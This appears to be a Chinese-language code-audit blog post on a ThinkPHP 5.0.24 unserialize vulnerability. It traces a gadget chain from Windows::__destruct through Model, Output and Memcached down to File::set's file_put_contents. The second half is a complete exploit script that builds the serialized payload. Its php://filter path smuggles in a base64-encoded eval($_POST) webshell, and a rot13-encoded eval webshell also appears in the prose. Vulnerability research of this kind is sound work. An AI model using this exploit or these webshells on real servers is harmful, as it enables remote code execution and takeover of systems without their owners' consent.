Thinkphp-vuln5.0.24 unserialize
thinkphp可谓代码审计的传世经典。。今天来跟一下thinkphp的代码审计,希望对代码审计的功力有所提升
环境Apache+php7+windows+Thinkphp5.0.24
thinkphp5.0.24反序列化
先列一下php的魔术方法
先自己写一个反序列化点
先看thinkphp/library/think/process/pipes/Windows.php
发现存在__destruct()
魔术方法。
跟进removeFile()
函数。
这里存在file_exists()
函数,其中这里的$this->files
是可控的。且file_exists()
可以调用一些类的__toString
方法。
之后再看抽象类Model(thinkphp/library/think/Model.php)
抽象类不能直接调用,因此需要找到他的子类。
我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用。
现在Model可以调用了,我们来看看里面的__toString()
方法。
这里可以看到$item[$key] = $value ? $value->getAttr($attr) : null
这里有$value->getAttr
可以利用__call
魔术方法。
那我们看看如何才能调用__call
方法。
这里$this->append
可以控制,控制$name
为getError
。让relation
变为Model
类的getError
方法,然后跟进函getError
方法,因此可以控制$this->$relation()
控制了$this->$relation()
也就相当于控制$modelRelation
参数$modelRelation
其实就是Model
类的getError()
返回的结果。
然后看getRelationData()
函数
首先要满足$this->parent && !$modelRelation->isSelfRelation() && get_cl
才能给$value
赋值。
因为$this->parent
要给$value
赋值,因此一定是think\console\Output
类对象
那么怎么满足if语句呢?
这里isSelfRelation
和getModel
都可控,所以我们找Relation
的子类套一下即可。
同时,还要满足
也就是这个类中必须含有getBindAttr
方法。于是Relation
的子类OneToOne
是比较合适的选择。
现在我们可以进入到think\console\Output
的__call()
方法中了。
发现$this->styles
我们可以控制,那么我们就可以执行block
方法。block
调用writeln
方法,然后调用write
方法。这时候里面的$this->handle
可以控制。
所以思路就是找一个类的write
方法可以实现写文件。
这里我们找到了Memcached类(thinkphp/library/think/session/driver/Mencached.php),然后进到了Memcached->write方法中看到Memcached也存在一个$this->handle,我们将其设置为File类(thinkphp/library/think/cache/driver/File.php)从而进入到File->set方法我们可以看到file_put_contents($filename, $data)
其中的两个参数我们都可以控制
现在来看如何利用file_put_contents
。首先传入的三个参数已经确定。且$name
和$exprie
是我们可控的。
但是写入的数据就是我们无法控制的$value
。继续往下看。
发现下面有一个setTagItem
方法,且返回了可控的两个参数。再一次进入了set
方法。
那么我们就可以利用php伪协议写shell。我们将部分可控的 $this->options['path']** 设置成 **php://filter/write=string.rot13/resource=\<?cuc @riny($_TRG[_]);?>
然后就可以用php伪协议来写shell了。
EXP如下
<?php
namespace think\process\pipes{
class Windows
{
private $files = [];
public function __construct($files)
{
$this->files = [$files];//$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct($output, $modelRelation)
{
$this->append=array('xxxxx'=>'getError');
$this->parent=$output;//$this->model=> think\console\Output;
$this->error=$modelRelation;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\model\relation{
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
public function __construct($query)
{
$this->selfRelation=0;
$this->query=$query;//引入Query类
$this->bindAttr=['xxx'];//这个值作为__call函数的变量
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne
{
}
}
namespace think\db{
class Query
{
protected $model;
public function __construct($model)
{
$this->model=$model;//$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output
{
protected $styles = [];
private $handle = null;
public function __construct($handle)
{
$this->styles=['getAttr'];
$this->handle=$handle;//$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver{
class Memcached
{
protected $handler;
public function __construct($file)
{
$this->handler=$file;//$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver{
class File
{
protected $options = [];
protected $tag;
public function __construct()
{
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaPD9waHAgQGV2YWwoJF9QT1NUW3lhbmddKT8+.php',
'data_compress' => false,
];
$this->tag='1';
}
}
}
namespace {
$File=new think\cache\driver\File();
$Memcached=new think\session\driver\Memcached($File);
$Output=new think\console\Output($Memcached);
$Query=new think\db\Query($Output);
$HasOne=new think\model\relation\HasOne($Query);
$Pivot=new think\model\Pivot($Output, $HasOne);
$window=new think\process\pipes\Windows($Pivot);
echo base64_encode(serialize($window));
}